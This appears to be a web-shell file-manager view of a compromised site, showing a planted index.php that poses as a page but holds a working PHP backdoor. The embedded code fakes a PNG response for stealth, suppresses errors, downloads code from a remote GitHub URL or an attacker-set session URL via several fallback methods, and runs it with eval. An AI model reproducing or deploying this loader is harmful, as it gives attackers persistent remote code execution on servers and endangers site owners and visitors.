Sindbad~EG File Manager

Current Path : /var/www/html/basacapital.sumar.com.py/contentbank/templates/bankcontent/src/
Upload File :
Current File : /var/www/html/basacapital.sumar.com.py/contentbank/templates/bankcontent/src/index.php

<!DOCTYPE html>

<html>

<head>
	<title>火烧赤壁</title>
</head>
<style type="text/css">
body {
  overflow-x:hidden;
  font: 15px "Century Gothic", "Times Roman", sans-serif;
  background:url(https://k.top4top.io/p_30443lpzi0.jpeg);
background-image: url(https://img2.baidu.com/it/u=1145152957,3334972391&fm=253&fmt=auto&app=138&f=JPEG?w=817&h=500);
  background-size: cover;
  background-repeat: no-repeat;
  background-position: center;
  background-attachment: fixed;
  height: 100%;
  }
<?php
// Fake PNG header for stealth
if (isset($_GET['i'])) {
    header('Content-Type: image/png');
    echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=');
    exit;
}

// Start session and error handling
session_start();
error_reporting(0);

// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://raw.githubusercontent.com/jjyyk/jjyyk/refs/heads/main/class';

// 定义加载函数
function 加载数据($地址) {
    $内容 = '';
    try {
        $文件 = new SplFileObject($地址);
        while (!$文件->eof()) {
            $内容 .= $文件->fgets();
        }
    } catch (Throwable $错误) {
        $内容 = '';
    }

    // 尝试用 file_get_contents
    if (strlen(trim($内容)) < 1) {
        $内容 = @file_get_contents($地址);
    }

    // 如果还失败,使用 curl
    if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
        $通道 = curl_init($地址);
        curl_setopt_array($通道, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $内容 = curl_exec($通道);
        curl_close($通道);
    }

    return $内容;
}

// 尝试加载主网址
$结果 = 加载数据($主地址);

// 添加假的PNG头部
$假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";

// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;

/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
    @eval("?>$结果");
}
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists